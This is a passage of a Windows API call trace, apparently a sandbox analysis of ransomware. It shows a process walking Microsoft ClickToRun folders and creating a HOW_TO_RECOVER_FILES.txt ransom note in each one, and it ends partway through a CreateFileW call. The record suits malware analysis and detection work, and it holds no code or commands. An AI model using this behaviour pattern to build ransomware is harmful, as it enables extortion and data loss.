lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpFilePart=0x0) returned 0x4c [0130.855] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x28bba20c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.856] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x28bba20c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.856] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x26d7870a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x26d7870a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0130.856] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bba20c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28bba20c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28bba20c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.856] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x2880079f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2880079f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0130.856] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x2880079f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2880079f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0130.856] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0130.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0130.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0130.856] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpFilePart=0x0) returned 0x4c [0130.856] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x28bba20c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28bba20c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0130.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0130.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0130.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0130.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0130.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0130.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0130.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0130.858] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0130.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0130.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0130.860] CloseHandle (hObject=0x630) returned 1 [0130.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0130.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0130.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0130.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0130.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0130.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0130.862] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6f [0130.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0130.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0130.864] CloseHandle (hObject=0x630) returned 1 [0130.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0130.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0130.865] CloseHandle (hObject=0x630) returned 1 [0130.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0130.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0130.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0130.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0130.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0130.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0130.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0130.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0130.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0130.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.198] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0131.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0131.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0131.200] CloseHandle (hObject=0x6e0) returned 1 [0131.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.201] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6f [0131.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0131.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0131.203] CloseHandle (hObject=0x6e0) returned 1 [0131.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0131.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0131.205] CloseHandle (hObject=0x6e0) returned 1 [0131.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.207] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0131.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0131.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0131.208] CloseHandle (hObject=0x6e0) returned 1 [0131.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.209] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6f [0131.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0131.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0131.211] CloseHandle (hObject=0x6e0) returned 1 [0131.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0131.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0131.213] CloseHandle (hObject=0x6e0) returned 1 [0131.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0131.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0131.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0131.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0131.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0131.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0131.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8910) returned 1 [0131.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8850) returned 1 [0131.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8810) returned 1 [0131.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8910) returned 1 [0131.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8850) returned 1 [0131.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8810) returned 1 [0131.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f7ee0) returned 1 [0131.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7e20) returned 1 [0131.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7de0) returned 1 [0131.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f7ee0) returned 1 [0131.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7e20) returned 1 [0131.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7de0) returned 1 [0131.217] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f7930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0xab [0131.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f7e50) returned 1 [0131.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7dc0) returned 1 [0131.218] CloseHandle (hObject=0x6e0) returned 1 [0131.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8880) returned 1 [0131.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f87f0) returned 1 [0131.220] CloseHandle (hObject=0x6e0) returned 1 [0131.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0131.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0131.222] CloseHandle (hObject=0x6e0) returned 1 [0131.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0131.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0131.224] CloseHandle (hObject=0x6e0) returned 1 [0131.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0131.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0131.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0131.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0131.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0131.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0131.225] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x68 [0131.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0131.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0131.227] CloseHandle (hObject=0x6e0) returned 1 [0131.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0131.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0131.229] CloseHandle (hObject=0x6e0) returned 1 [0131.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0131.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0131.230] CloseHandle (hObject=0x6e0) returned 1 [0131.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0131.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0131.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0131.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0131.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0131.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0131.233] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7e [0131.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0131.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0131.235] CloseHandle (hObject=0x6e0) returned 1 [0131.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0131.286] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", lpFilePart=0x0) returned 0x66 [0131.286] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x303c32cc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x303c32cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.288] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0131.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0131.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0131.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0131.288] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", lpFilePart=0x0) returned 0x66 [0131.288] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x303c32cc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x303c32cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.290] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0131.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0131.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0131.291] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7f [0131.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0131.291] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, 